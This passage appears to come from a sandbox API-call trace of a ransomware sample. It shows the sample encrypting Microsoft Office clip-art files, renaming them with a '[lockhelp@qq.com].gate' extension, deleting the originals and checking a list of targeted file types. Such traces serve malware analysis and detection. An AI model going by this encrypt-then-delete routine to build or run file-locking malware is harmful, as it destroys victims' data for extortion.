lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0290.199] WriteFile (in: hFile=0x4cc, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0290.199] SetEndOfFile (hFile=0x4cc) returned 1 [0290.199] CloseHandle (hObject=0x4cc) returned 1 [0290.200] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0290.200] SetEndOfFile (hFile=0x4c8) returned 1 [0290.203] CloseHandle (hObject=0x4c8) returned 1 [0290.203] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0290.203] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 1 [0290.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0290.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0290.204] lstrlenW (lpString=".doc") returned 4 [0290.204] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.204] lstrlenW (lpString=".docx") returned 5 [0290.204] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.204] lstrlenW (lpString=".pdf") returned 4 [0290.204] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.204] lstrlenW (lpString=".xls") returned 4 [0290.204] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.204] lstrlenW (lpString=".xlsx") returned 5 [0290.204] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.204] lstrlenW (lpString=".ppt") returned 4 [0290.204] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0290.204] lstrlenW (lpString=".zip") returned 4 [0290.204] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.204] lstrlenW (lpString=".rar") returned 4 [0290.204] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.204] lstrlenW (lpString=".bz2") returned 4 [0290.204] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.204] lstrlenW (lpString=".7z") returned 3 [0290.204] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0290.204] lstrlenW (lpString=".dbf") returned 4 [0290.204] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0290.205] lstrlenW (lpString=".1cd") returned 4 [0290.205] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0290.205] lstrlenW (lpString=".jpg") returned 4 [0290.205] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0290.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0290.205] lstrlenW (lpString=".doc") returned 4 [0290.205] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.205] lstrlenW (lpString=".docx") returned 5 [0290.205] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.205] lstrlenW (lpString=".pdf") returned 4 [0290.205] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.205] lstrlenW (lpString=".xls") returned 4 [0290.205] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.205] lstrlenW (lpString=".xlsx") returned 5 [0290.205] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.205] lstrlenW (lpString=".ppt") returned 4 [0290.205] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0290.205] lstrlenW (lpString=".zip") returned 4 [0290.205] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.205] lstrlenW (lpString=".rar") returned 4 [0290.205] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.205] lstrlenW (lpString=".bz2") returned 4 [0290.205] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.205] lstrlenW (lpString=".7z") returned 3 [0290.205] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0290.206] lstrlenW (lpString=".dbf") returned 4 [0290.206] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0290.206] lstrlenW (lpString=".1cd") returned 4 [0290.206] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0290.206] lstrlenW (lpString=".jpg") returned 4 [0290.206] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.206] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0290.206] lstrlenW (lpString="BS00092_.WMF") returned 12 [0290.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0290.298] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=7974) returned 1 [0290.298] CloseHandle (hObject=0x4b0) returned 1 [0290.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 0x220 [0290.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0290.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0290.299] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0290.299] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0290.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0290.300] GetLastError () returned 0x0 [0290.300] ReadFile (in: hFile=0x4b0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x1f26, lpOverlapped=0x0) returned 1 [0290.417] WriteFile (in: hFile=0x394, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x1f30, lpOverlapped=0x0) returned 1 [0290.485] ReadFile (in: hFile=0x4b0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0290.485] WriteFile (in: hFile=0x394, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0290.485] SetEndOfFile (hFile=0x394) returned 1 [0290.485] CloseHandle (hObject=0x394) returned 1 [0290.486] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0290.486] SetEndOfFile (hFile=0x4b0) returned 1 [0290.507] CloseHandle (hObject=0x4b0) returned 1 [0290.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0290.508] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 1 [0290.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0290.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0290.509] lstrlenW (lpString=".doc") returned 4 [0290.509] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.509] lstrlenW (lpString=".docx") returned 5 [0290.509] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.509] lstrlenW (lpString=".pdf") returned 4 [0290.509] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.509] lstrlenW (lpString=".xls") returned 4 [0290.509] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.509] lstrlenW (lpString=".xlsx") returned 5 [0290.509] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.509] lstrlenW (lpString=".ppt") returned 4 [0290.509] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0290.509] lstrlenW (lpString=".zip") returned 4 [0290.509] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.509] lstrlenW (lpString=".rar") returned 4 [0290.509] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.509] lstrlenW (lpString=".bz2") returned 4 [0290.509] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.509] lstrlenW (lpString=".7z") returned 3 [0290.509] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0290.509] lstrlenW (lpString=".dbf") returned 4 [0290.509] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0290.509] lstrlenW (lpString=".1cd") returned 4 [0290.509] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0290.509] lstrlenW (lpString=".jpg") returned 4 [0290.509] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0290.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0290.510] lstrlenW (lpString=".doc") returned 4 [0290.510] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.510] lstrlenW (lpString=".docx") returned 5 [0290.510] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.510] lstrlenW (lpString=".pdf") returned 4 [0290.510] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.510] lstrlenW (lpString=".xls") returned 4 [0290.510] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.510] lstrlenW (lpString=".xlsx") returned 5 [0290.510] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.510] lstrlenW (lpString=".ppt") returned 4 [0290.510] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0290.510] lstrlenW (lpString=".zip") returned 4 [0290.510] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.510] lstrlenW (lpString=".rar") returned 4 [0290.510] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.510] lstrlenW (lpString=".bz2") returned 4 [0290.510] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.510] lstrlenW (lpString=".7z") returned 3 [0290.510] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0290.510] lstrlenW (lpString=".dbf") returned 4 [0290.510] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0290.510] lstrlenW (lpString=".1cd") returned 4 [0290.510] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0290.511] lstrlenW (lpString=".jpg") returned 4 [0290.511] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.511] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0290.511] lstrlenW (lpString="BS00184_.WMF") returned 12 [0290.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0290.512] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=4976) returned 1 [0290.512] CloseHandle (hObject=0x4b0) returned 1 [0290.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 0x220 [0290.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0290.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0290.512] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0290.512] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0290.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0290.513] GetLastError () returned 0x0 [0290.513] ReadFile (in: hFile=0x4b0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x1370, lpOverlapped=0x0) returned 1 [0290.564] WriteFile (in: hFile=0x4c4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x1380, lpOverlapped=0x0) returned 1 [0290.564] ReadFile (in: hFile=0x4b0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0290.565] WriteFile (in: hFile=0x4c4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0290.565] SetEndOfFile (hFile=0x4c4) returned 1 [0290.565] CloseHandle (hObject=0x4c4) returned 1 [0290.565] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0290.565] SetEndOfFile (hFile=0x4b0) returned 1 [0290.568] CloseHandle (hObject=0x4b0) returned 1 [0290.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0290.568] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 1 [0290.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0290.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0290.569] lstrlenW (lpString=".doc") returned 4 [0290.569] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.569] lstrlenW (lpString=".docx") returned 5 [0290.569] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.569] lstrlenW (lpString=".pdf") returned 4 [0290.569] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.569] lstrlenW (lpString=".xls") returned 4 [0290.569] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.569] lstrlenW (lpString=".xlsx") returned 5 [0290.569] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.569] lstrlenW (lpString=".ppt") returned 4 [0290.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0290.569] lstrlenW (lpString=".zip") returned 4 [0290.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.569] lstrlenW (lpString=".rar") returned 4 [0290.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.569] lstrlenW (lpString=".bz2") returned 4 [0290.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.569] lstrlenW (lpString=".7z") returned 3 [0290.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0290.569] lstrlenW (lpString=".dbf") returned 4 [0290.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0290.569] lstrlenW (lpString=".1cd") returned 4 [0290.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0290.569] lstrlenW (lpString=".jpg") returned 4 [0290.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0290.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0290.570] lstrlenW (lpString=".doc") returned 4 [0290.570] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.570] lstrlenW (lpString=".docx") returned 5 [0290.570] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.570] lstrlenW (lpString=".pdf") returned 4 [0290.570] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.570] lstrlenW (lpString=".xls") returned 4 [0290.570] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.570] lstrlenW (lpString=".xlsx") returned 5 [0290.570] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.570] lstrlenW (lpString=".ppt") returned 4 [0290.570] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0290.570] lstrlenW (lpString=".zip") returned 4 [0290.570] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.570] lstrlenW (lpString=".rar") returned 4 [0290.570] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.570] lstrlenW (lpString=".bz2") returned 4 [0290.570] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.570] lstrlenW (lpString=".7z") returned 3 [0290.570] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0290.570] lstrlenW (lpString=".dbf") returned 4 [0290.570] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0290.570] lstrlenW (lpString=".1cd") returned 4 [0290.570] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0290.570] lstrlenW (lpString=".jpg") returned 4 [0290.570] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.571] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0290.571] lstrlenW (lpString="BS00224_.WMF") returned 12 [0290.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0290.571] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=1588) returned 1 [0290.571] CloseHandle (hObject=0x4b0) returned 1 [0290.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x220 [0290.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0290.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0290.572] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0290.572] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0290.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0290.572] GetLastError () returned 0x0 [0290.572] ReadFile (in: hFile=0x4b0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x634, lpOverlapped=0x0) returned 1 [0290.590] WriteFile (in: hFile=0x4c4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x640, lpOverlapped=0x0) returned 1 [0290.591] ReadFile (in: hFile=0x4b0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0290.591] WriteFile (in: hFile=0x4c4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, 